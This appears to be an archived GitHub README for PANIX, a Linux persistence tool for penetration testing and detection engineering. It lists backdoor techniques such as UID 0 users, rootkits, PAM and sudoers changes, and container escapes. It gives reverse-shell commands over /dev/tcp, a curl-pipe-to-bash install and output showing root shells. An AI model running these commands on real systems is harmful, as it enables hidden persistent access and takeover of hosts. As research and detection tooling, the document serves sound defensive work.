GitHub - Aegrah/PANIX: Customizable Linux Persistence Tool for Security Research and Detection Engineering.

By Aegrah

Archived: 2026-04-06 00:34:51 UTC

PANIX - Persistence Against *NIX

PANIX is a powerful, modular, and highly customizable Linux persistence framework designed for security researchers, detection engineers, penetration testers, CTF enthusiasts, and more. Built with versatility in mind, PANIX emphasizes functionality, making it an essential tool for understanding and implementing a wide range of persistence techniques.

Features

PANIX provides a versatile suite of features for simulating and researching Linux persistence mechanisms.

Feature	Description	Root	User
At Job Persistence	Implements persistence by adding entries to system jobs.	✅	✅
Authorized Keys	Adds a public key to the authorized_keys file for SSH access.	✅	✅
Backdoor User	Creates a backdoor user with `UID=0` (root privileges).	✅	❌
Backdoor System User	Backdoor a system user (SSH access to news/nobody).	✅	❌
Backdoored /etc/passwd	Directly adds a malicious user entry to `/etc/passwd`.	✅	❌
Backdoored /etc/init.d	Establishes persistence via SysVinit (`/etc/init.d`).	✅	❌
Backdoored /etc/rc.local	Establishes persistence via run control (`/etc/rc.local`).	✅	❌
Bind Shell	Runs a pre-compiled/LOLBin bind shell for remote access.	✅	✅
Capabilities Backdoor	Adds specific capabilities to binaries to maintain persistence.	✅	❌
Cron Job Persistence	Sets up cron jobs to ensure persistence across reboots.	✅	✅
Create User	Creates a new user account on the system.	✅	❌
D-Bus Backdoor	Creates a D-Bus service for root reverse shell access.	✅	❌
Diamorphine Rootkit	Installs the Diamorphine Loadable Kernel Module Rootkit.	✅	❌
Initramfs Persistence	Injects a UID=0 backdoor user into initramfs on reboot.	✅	❌
Git Persistence	Utilizes Git hooks or pagers to persist within Git repositories.	✅	✅
Generator Persistence	Leverages systemd generators to create persistent services.	✅	❌
GRUB Backdoor	Manipulates GRUB to execute a backdoor at boot.	✅	❌
Malicious Container	Deploys a Docker container designed to host escape.	✅	✅
Malicious Package	Installs a `DPKG/RPM` package to achieve persistence.	✅	❌

Feature	Description	Root	User
NetworkManager	Installs a dispatcher script to persist upon network actions.	✅	❌
LD_PRELOAD Backdoor	Uses `LD_PRELOAD` to inject malicious libraries for persistence.	✅	❌
LKM Backdoor	Loads a Loadable Kernel Module to maintain persistence.	✅	❌
MOTD Backdoor	Alters Message of the Day (MOTD) to establish persistence.	✅	❌
Package Manager	Manipulates `APT/YUM/DNF` to establish persistence on usage.	✅	❌
PAM Persistence	Installs a PAM backdoor using a rogue module or pam_exec.	✅	❌
Password Change	Changes user passwords to secure backdoor accounts.	✅	❌
Polkit Backdoor	Creates an overly permissive Polkit configuration backdoor.	✅	❌
Reverse Shell	Establishes a reverse shell (supporting multiple LOLBins).	✅	✅
Shell Profile Persistence	Modifies shell profiles to execute scripts upon user login.	✅	✅
SSH Key Persistence	Manipulates SSH keys to maintain persistent access via SSH.	✅	✅
Sudoers Backdoor	Alters the `/etc/sudoers` file to grant elevated privileges.	✅	❌
SUID Backdoor	Backdoors binaries by setting the SUID bit.	✅	❌
System Binary Backdoor	Wraps system binaries to include backdoor functionality.	✅	❌
Systemd Service	Creates systemd services that ensure persistence on reboot.	✅	✅
Udev Persistence	Utilizes drivers to persist at the hardware interaction level.	✅	❌
Web Shell Persistence	Deploys web servers for remote access via web interfaces.	✅	✅
XDG Autostart	Employs XDG autostart directories to persist upon user login.	✅	✅

Support

PANIX offers comprehensive support across various Linux distributions.

Distribution	Support	Tested Version
Debian	✅	Debian 11 & 12
Ubuntu	✅	Ubuntu 22.04 (Diamorphine unavailable)

Distribution	Support	Tested Version
RHEL	✅	RHEL 9 (MOTD & Pre-OS Boot techniques unavailable)
CentOS	✅	CentOS Stream 9 & 7 (MOTD & Pre-OS Boot techniques unavailable)
Fedora	✅	Not fully tested
Arch Linux	✅	Not fully tested
OpenSUSE	✅	Not fully tested

Custom or outdated Linux distributions may have different configurations or lack specific features, causing mechanisms to fail on untested versions. If a default command fails, use the `--custom` flag available in most features to adjust paths and commands for your environment. Review and modify the script to suit your needs if that doesn't resolve the issue.

Contributions via pull requests or issues for new features, updates, or ideas are always welcome!

Repository Structure

The PANIX repository is designed for modularity, maintainability, and ease of extension. Each persistence mechanism includes setup and revert scripts, simplifying management, and removal.

```
PANIX/
├── main.sh           # Core logic and argument parsing.
├── modules/          # Persistence mechanism scripts.
│   ├── common.sh      # Shared functions.
│   ├── setup_*.sh     # Setup scripts.
│   └── revert/        # Revert scripts.
├── build.sh          # Builds the distributable script.
├── panix.sh          # Final distributable script.
└── README.md         # Documentation.
```

Key Benefits

- **Paired Setup & Revert**: Every `setup_*.sh` has a corresponding `revert_*.sh`, ensuring easy removal of persistence mechanisms.
- **Modular Design**: Easily modify existing modules or add new ones without affecting the core script.
- **Simple Expansion**: To add new functionality:
    1. Create a new `setup_*.sh` in `modules/`.
    2. Add a corresponding `revert_*.sh` in `modules/revert/`.
    3. Update `main.sh` to include the new scripts.
    4. Update `common.sh` to include the module in the help menu.

5. Run `build.sh` to generate the updated `panix.sh`.

Getting Started

Getting PANIX up and running is as simple as downloading the script from the release page and executing it:

```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
```

Or download it and execute it manually:

```
# Download through curl or wget
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh
wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh

# Grant execution permissions and execute the script.
chmod +x panix.sh
./panix.sh
```

Executing the script will either show the `root` or `user` help menu, depending on the privileges the current user has.

```
panix@panix-demo:~$ sudo ./panix.sh
 __
|__)  /\  |\ | | \_/
|    /~~\ | \| | / \

@RFGroenewoud

Root User Options:

  --at                  At job persistence
  --authorized-keys     Add public key to authorized keys
  --backdoor-user       Create backdoor user
  --backdoor-system-user Create backdoor system user
  --bind-shell          Execute backgrounded bind shell
  --cap                 Add capabilities persistence
  --create-user         Create a new user
  --cron                Cron job persistence
  --dbus                D-Bus service persistence
  --generator           Generator persistence
  --git                 Git hook/pager persistence
  --grub                GRUB bootloader persistence
  --initd               SysV Init (init.d) persistence
```

```
  --initramfs            Initramfs persistence
  --ld-preload           LD_PRELOAD backdoor persistence"
  --lkm                  Loadable Kernel Module (LKM) persistence
  --malicious-container  Docker container with host escape"
  --malicious-package    Build and Install a package for persistence (DPKG/RPM)
  --motd                 Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
  --network-manager      NetworkManager dispatcher script persistence
  --package-manager      Package Manager persistence (APT/YUM/DNF)
  --pam                  Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
  --passwd-user          Add user to /etc/passwd directly
  --password-change      Change user password
  --polkit               Allow pkexec as any user through Polkit
  --rc-local             Run Control (rc.local) persistence
  --reverse-shell        Reverse shell persistence (supports multiple LOLBins)"
  --rootkit              Diamorphine (LKM) rootkit persistence
  --shell-profile        Shell profile persistence
  --ssh-key              SSH key persistence
  --sudoers              Sudoers persistence
  --suid                 SUID persistence
  --system-binary        System binary persistence
  --systemd              Systemd service persistence
  --udev                 Udev (driver) persistence
  --web-shell            Web shell persistence (PHP/Python)
  --xdg                  XDG autostart persistence
  --revert               Revert changes made by PANIX' default options
  --mitre-matrix         Display the MITRE ATT&CK Matrix for PANIX
  --quiet (-q)           Quiet mode (no banner)
```

Examples

The script should be largely self-explanatory, however, this section will show a few examples of how to work with PANIX.

Help Menu

Every persistence mechanism has a separate help menu:

```
 ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help
Usage: ./panix.sh --udev [OPTIONS]
--examples                              Display command examples
-default                               Use default udev settings
  --ip <ip>                               Specify IP address
  --port <port>                           Specify port number
  --sedexp | --at | --cron | --systemd    Specify the mechanism to use
```

```
--custom                                Use custom udev settings
  --command <command>                     Specify custom command
  --path <path>                           Specify custom path
--help|-h                               Show this help message
```

Every persistence mechanism also has an `--examples` flag that shows default and custom examples, aiding in crafting the command that works for you.

```
 ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager

--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /d

./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /de
```

Execution

Most of the persistence mechanisms are very simple, and will (hopefully) not require much explanation. For example, systemd persistence can be set up simply through executing:

```
 ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337
Service file created successfully!
Timer file created successfully!
Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/sy
[+] Systemd service persistence established!
```

When setting up a persistence mechanism, the script will let you know whether it worked, and in cases where information is needed to work with the persistence mechanism, additional information is provided. For example the bind shell mechanism:

```
 ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
```

Allowing you to interact with the bind shell:

```
 ❯ nc -nv 192.168.211.130 9001
(UNKNOWN) [192.168.211.130] 9001 (?) open
```

```
whoami
root
```

The same goes for mechanisms that have additional built-in features such as the Docker persistence mechanism, with a built-in root host escape:

```
 ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED
 => [internal] load build definition from Dockerfile
 => => transferring dockerfile: 722B
 => [internal] load metadata for docker.io/library/alpine:latest
 => [internal] load .dockerignore
 => => transferring context: 2B
 => [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c
 => => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c
 => => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB
 => => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B
 => => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB
 => => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB
 => => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99
 => [2/5] RUN apk add --no-cache bash socat sudo util-linux procps
 => [3/5] RUN adduser -D lowprivuser
 => [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec
 => [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >
 => exporting to image
 => => exporting layers
 => => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790
 => => naming to docker.io/library/malicious-container
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
```

Which shows you exactly how to escape the container, and get access to the host.

```
 ❯ nc -nvlp 330
listening on [any] 330 ...
connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400
86ce6b00e872:/$ /usr/local/bin/escape.sh
/usr/local/bin/escape.sh
root@ubuntu2204:~#
```

Revert Mechanism

PANIX can clean its mess through the `--revert` command. Both for seperate modules:

```
 ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit

######################### [+] Reverting rootkit module... #########################

[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
```

And for all modules:

```
 ruben@ubuntu2204:~$ sudo ./panix.sh --revert all

[+] Running full reversion with --revert-all...
[+] Reverting all modules...

######################### [+] Reverting revert_at... #########################

Error: 'at' binary is not present. Cannot revert 'at' jobs.
[-] Failed to revert revert_at. Exit Code: 1

######################### [+] Reverting revert_authorized_keys... #########################

[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made.
[+] revert_authorized_keys reverted successfully.

######################### [+] Reverting revert_backdoor_user... #########################

[+] No backdoor users found.
[+] revert_backdoor_user reverted successfully.

######################### [+] Reverting revert_bind_shell... #########################

[+] Searching for bind shell processes and killing them if present...
```

```
[+] revert_bind_shell reverted successfully.

[...]

[+] Reversion of all modules complete.
```

MITRE ATT&CK Matrix

PANIX has a built-in MITRE ATT&CK matrix that displays the techniques and sub-techniques available.

```
 ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix

MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX

Persistence Method        Technique Name                          Technique ID    Sub-technique Name
-------------------       --------------                          -------------   ------------------
--at                      Scheduled Task                          T1053           At
--authorized-keys         Account Manipulation                    T1098           SSH Authorized Keys
--backdoor-user           Create Account                          T1136           Local Account
--backdoor-system-user    Account Manipulation                    T1098           SSH Authorized Keys
--bind-shell              Command and Scripting Interpreter       T1059           Unix Shell
--cap                     Abuse Elevation Control Mechanism       T1548           N/A
--create-user             Create Account                          T1136           Local Account
--cron                    Scheduled Task                          T1053           Cron
--dbus                    Create or Modify System Process         T1543           N/A
--generator               Create or Modify System Process         T1543           Systemd Service
--git                     Event Triggered Execution               T1546           N/A
--grub                    Pre-OS Boot                             T1542           N/A
--initd                   Boot or Logon Initialization Scripts    T1037           N/A
--initramfs               Pre-OS Boot                             T1542           N/A
--ld-preload              Hijack Execution Flow                   T1574           Dynamic Linker Hijacking
--lkm                     Boot or Logon Autostart Execution       T1547           Kernel Modules and Extensions
--malicious-container     Escape to Host                          T1610           N/A
--malicious-package       Event Triggered Execution               T1546           Installer Packages
--motd                    Boot or Logon Initialization Scripts    T1037           N/A
--network-manager         Event Triggered Execution               T1546           N/A
--package-manager         Event Triggered Execution               T1546           Installer Packages
--pam                     Modify Authentication Process           T1556           Pluggable Authentication Modu
--passwd-user             Account Manipulation                    T1098           N/A
--password-change         Account Manipulation                    T1098           N/A
--polkit                  Modify Authentication Process           T1556           N/A
--rc-local                Boot or Logon Initialization Scripts    T1037           RC Scripts
--reverse-shell           Command and Scripting Interpreter       T1059           Unix Shell
--rootkit                 Rootkit                                 T1014           N/A
--shell-profile           Event Triggered Execution               T1546           Unix Shell Configuration Modi
--ssh-key                 Account Manipulation                    T1098           SSH Authorized Keys
```

```
--sudoers               Abuse Elevation Control Mechanism       T1548          Sudo and Sudo Caching
--suid                  Abuse Elevation Control Mechanism       T1548          Setuid and Setgid
--system-binary         Compromise Host Software Binary         T1554          N/A
--systemd               Create or Modify System Process         T1543          Systemd Service
--udev                  Event Triggered Execution               T1546          Udev Rules
--web-shell             Server Software Component               T1505          Web Shell
--xdg                   Boot or Logon Autostart Execution       T1547          XDG Autostart Entries

Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.
```

Publications and Resources

Publications in which PANIX is leveraged:

- Linux Detection Engineering - A Primer on Persistence Mechanisms
- Linux Detection Engineering - A Sequel on Persistence Mechanisms
- Linux Detection Engineering - A Continuation on Persistence Mechanisms
- Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms
- Linux Detection Engineering - The Grand Finale on Linux Persistence Mechanisms

Feel free to check out my socials for updates on (Linux) security research.

Share

By sharing PANIX, you can assist others in testing and improving their security posture and support the development of new detection capabilities in Linux security.

Disclaimer

PANIX is intended for authorized security testing and research purposes only. Misuse of this tool for malicious activities is not condoned and is entirely at the user's own risk. By using PANIX, you agree that you are responsible for your own actions. Just don't do stupid stuff.

Source: https://github.com/Aegrah/PANIX